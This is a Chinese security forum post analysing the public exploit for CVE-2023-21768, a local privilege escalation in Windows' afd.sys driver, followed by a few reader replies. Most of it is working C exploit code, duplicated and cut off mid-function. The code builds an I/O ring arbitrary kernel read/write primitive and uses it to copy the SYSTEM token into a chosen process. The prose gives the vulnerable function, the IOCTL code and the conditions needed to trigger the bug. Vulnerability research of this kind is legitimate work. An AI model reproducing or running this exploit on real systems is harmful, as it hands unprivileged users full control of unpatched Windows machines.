首页
社区
课程
招聘
[原创]Windows_AFD_LPE_CVE-2023-21768分析
发表于: 2023-3-29 00:31 21737

[原创]Windows_AFD_LPE_CVE-2023-21768分析

2023-3-29 00:31
21737

CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。

本文是对exp代码的分析,完整exp : xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for CVE-2023-21768 (github.com)

个人感觉整个exp中最精华的部分在ioring的lpe部分,这部分代码来自Yarden Shafir

i/o ring 是Windows 11(22H2)新出现的一种机制,参考ioringapi - Win32 apps | Microsoft Learn

通过CreateIoRing来创建一个IORING_OBJECT对象。内核中对应NtCreateIoRing。

submissionQueueSize和completionQueueSize会被替换成2的幂数,使用GetIoRingInfo获取实际大小。

submission queue的结构是头部+若干个NT_IORING_SEQ,Head和Tail之间的NT_IORING_SEQ是还未被处理的NT_IORING_SEQ。

submission queue entry的结构

以FileRef所指向的文件句柄和buffer进行读写操作,当操作为读时从文件处读取length长的数据并写入到buffer的Address中,当操作为写时从buffer的Address处读取length长的数据并写入到文件中。

通过SubmitIoRing函数提交。

正常情况下这个操作是不会出问题的,但是如果我们有一个任意写漏洞的时候会发生什么呢?

如果我们将Buffer改写为我们申请出的一块内存,并且将address和length设置好,那么当操作是写时,从buffer的Address处读取length长的数据并写入到文件中,我们在从这个文件中读出数据就可以实现任意读,当操作是读时,从文件处读取length长的数据并写入到buffer的Address中,就可以实现任意写。

也即通过BuildIoRingWriteFile实现任意读,通过BuildIoRingReadFile实现任意写。

创建I/O ring对象,再创建两个命名管道用做读写句柄。

首先设置好读取数据地址和长度,在通过BuildIoRingWriteFile将ReadAddr处的数据写入到管道中,再从管道中将数据读取到ReadBuffer中。

先将需要写的数据写入到管道中,在设置好WriteAddr和WriteLen,使用BuildIoRingReadFile将数据写入到WriteAddr处。

找到system进程然后替换token。

通过diff可以判断漏洞点位于afd.sys的AfdNotifyRemoveIoCompletion函数。

这里可以看出没有对**(_DWORD **)(a3 + 24)进行进行验证就把v18赋值,所以设置好这里就可以实现任意写。

查找这个函数的引用是AfdNotifySock。继续查找引用,发现其在AfdImmediateCallDispatch中是最后一个函数,

在AfdIoctlTable中找到最后一个ioctl_code, 是0x12127。

与afd.sys交互参考x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls

查看AfdNotifySock函数。

检测

为了过掉检测需要将InputBufferLength设置为0x30,将hCompletion通过未导出函数NtCreateIoCompletion设置为一个句柄,将pdata1设置为一块申请出的空间, counter 设为1。

查看AfdNotifyRemoveIoCompletion函数

将dwLen = 0x1设为1, pData2设为一块申请出的内存,为了使IoRemoveIoCompletion返回0需要使用未导出函数NtSetIoCompletion。

最后整合到一起就是

Patch Tuesday -> Exploit Wednesday: Pwning Windows Ancillary Function Driver for WinSock (afd.sys) in 24 Hours (securityintelligence.com)

One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 – Winsider Seminars & Solutions Inc. (windows-internals.com)

I/O Rings – When One I/O Operation is Not Enough – Winsider Seminars & Solutions Inc. (windows-internals.com)

x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls

 
 
HRESULT CreateIoRing(
  IORING_VERSION      ioringVersion,
  IORING_CREATE_FLAGS flags,
  UINT32              submissionQueueSize,
  UINT32              completionQueueSize,
  HIORING             *h
);
HRESULT CreateIoRing(
  IORING_VERSION      ioringVersion,
  IORING_CREATE_FLAGS flags,
  UINT32              submissionQueueSize,
  UINT32              completionQueueSize,
  HIORING             *h
);
 
 
 
 
 
 
 
 
 
创建I/O ringint ioring_setup(PIORING_OBJECT* ppIoRingAddr)
{
    int ret = -1;
    IORING_CREATE_FLAGS ioRingFlags = { 0 };
 
    ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;
 
    ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);
 
    if (0 != ret)
    {
        goto done;
    }
 
    pIoRing = *ppIoRingAddr;
 
    hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
 
    if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))
    {
        ret = GetLastError();
        goto done;
    }
 
    hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 
    if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = 0;
 
done:
    return ret;
}
创建I/O ringint ioring_setup(PIORING_OBJECT* ppIoRingAddr)
{
    int ret = -1;
    IORING_CREATE_FLAGS ioRingFlags = { 0 };
 
    ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;
 
    ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);
 
    if (0 != ret)
    {
        goto done;
    }
 
    pIoRing = *ppIoRingAddr;
 
    hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
 
    if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))
    {
        ret = GetLastError();
        goto done;
    }
 
    hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 
    if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = 0;
 
done:
    return ret;
}
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };
 
    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
 
    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry->Address = pReadAddr;
    pMcBufferEntry->Length = ulReadLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;
 
    pRegisterBuffers[0] = pMcBufferEntry;
 
    ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = SubmitIoRing(hIoRing, 0, 0, NULL);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = PopIoRingCompletion(hIoRing, &cqe);
 
    if (0 != ret)
    {
        goto done;
    }
 
    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }
 
    if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = 0;
 
done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };
 
    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
 
    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry->Address = pReadAddr;
    pMcBufferEntry->Length = ulReadLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;
 
    pRegisterBuffers[0] = pMcBufferEntry;
 
    ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = SubmitIoRing(hIoRing, 0, 0, NULL);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = PopIoRingCompletion(hIoRing, &cqe);
 
    if (0 != ret)
    {
        goto done;
    }
 
    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }
 
    if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = 0;
 
done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };
 
    if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
 
    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry->Address = pWriteAddr;
    pMcBufferEntry->Length = ulWriteLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;
 
    pRegisterBuffers[0] = pMcBufferEntry;
 
    ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = SubmitIoRing(hIoRing, 0, 0, NULL);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = PopIoRingCompletion(hIoRing, &cqe);
 
    if (0 != ret)
    {
        goto done;
    }
 
    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }
 
    ret = 0;
 
done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };
 
    if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
 
    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry->Address = pWriteAddr;
    pMcBufferEntry->Length = ulWriteLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;
 
    pRegisterBuffers[0] = pMcBufferEntry;
 
    ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = SubmitIoRing(hIoRing, 0, 0, NULL);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = PopIoRingCompletion(hIoRing, &cqe);
 
    if (0 != ret)
    {
        goto done;
    }
 
    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }
 
    ret = 0;
 
done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}
int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
    int ret = -1;
    HANDLE hProc = NULL;
    ULONG64 ullSystemEPROCaddr = 0;
    ULONG64 ullTargEPROCaddr = 0;
    PVOID pFakeRegBuffers = NULL;
    _HIORING* phIoRing = NULL;
    ULONG64 ullSysToken = 0;
    char null[0x10] = { 0 };
 
    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);
 
    if (NULL == hProc)
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = getobjptr(&ullSystemEPROCaddr, 4, 4);
 
    if (0 != ret)
    {
        goto done;
    }
 
    printf("[+] System EPROC address: %llx\n", ullSystemEPROCaddr);
 
    ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);
 
    if (0 != ret)
    {
        goto done;
    }
 
    printf("[+} Target process EPROC address: %llx\n", ullTargEPROCaddr);
 
    pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
 
    if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr)
    {
        ret = GetLastError();
        goto done;
    }
 
    memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);
 
    phIoRing = *(_HIORING**)&hIoRing;
    phIoRing->RegBufferArray = pFakeRegBuffers;
    phIoRing->BufferArraySize = ulFakeRegBufferCnt;
 
    ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
 
    if (0 != ret)
    {
        goto done;
    }
 
    printf("[+] System token is at: %llx\n", ullSysToken);
 
    ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
 
    if (0 != ret)
    {
        goto done;
    }
 
    ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10);
 
    ret = 0;
 
done:
    return ret;
}
int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
    int ret = -1;
    HANDLE hProc = NULL;
    ULONG64 ullSystemEPROCaddr = 0;
    ULONG64 ullTargEPROCaddr = 0;
    PVOID pFakeRegBuffers = NULL;
    _HIORING* phIoRing = NULL;
    ULONG64 ullSysToken = 0;
    char null[0x10] = { 0 };
 
    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);
 
    if (NULL == hProc)
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = getobjptr(&ullSystemEPROCaddr, 4, 4);
 
    if (0 != ret)
    {
        goto done;
    }
 
    printf("[+] System EPROC address: %llx\n", ullSystemEPROCaddr);
 
    ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);
 
    if (0 != ret)
    {
        goto done;
    }
 
    printf("[+} Target process EPROC address: %llx\n", ullTargEPROCaddr);
 
    pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
 
    if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr)
    {
        ret = GetLastError();
        goto done;

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 9
支持
分享
最新回复 (6)
雪    币: 11674
活跃值: (7149)
能力值: ( LV13,RANK:550 )
在线值:
发帖
回帖
粉丝
2
2023-3-29 12:54
0
雪    币: 13992
活跃值: (17371)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2023-3-30 14:31
0
雪    币: 672
活跃值: (1255)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
感谢分享,最近正好也在看这个
2023-4-4 09:32
0
雪    币: 12016
活跃值: (10394)
能力值: ( LV13,RANK:660 )
在线值:
发帖
回帖
粉丝
5
你好,请问你有复现过这个利用吗,我在windows 11 22H2上面测试,已经安装了 preview 版本,但是 BuildIoRingWriteFile 函数还是找不到
2023-4-7 17:51
0
雪    币: 1350
活跃值: (3094)
能力值: ( LV5,RANK:74 )
在线值:
发帖
回帖
粉丝
6
LarryS 你好,请问你有复现过这个利用吗,我在windows 11 22H2上面测试,已经安装了 preview 版本,但是 BuildIoRingWriteFile 函数还是找不到
这个函数是在靠后一点的版本才有的https://windows-internals.com/one-year-to-i-o-ring-what-changed/
2023-4-7 20:26
0
雪    币: 8
活跃值: (263)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
有个问题 ,这个漏洞是任意地址写1,这个和i/o ring有什么关系呢?i/o ring是可以任意地址读任意地址写吧?
2023-7-14 11:20
0
游客
登录 | 注册 方可回帖
返回
//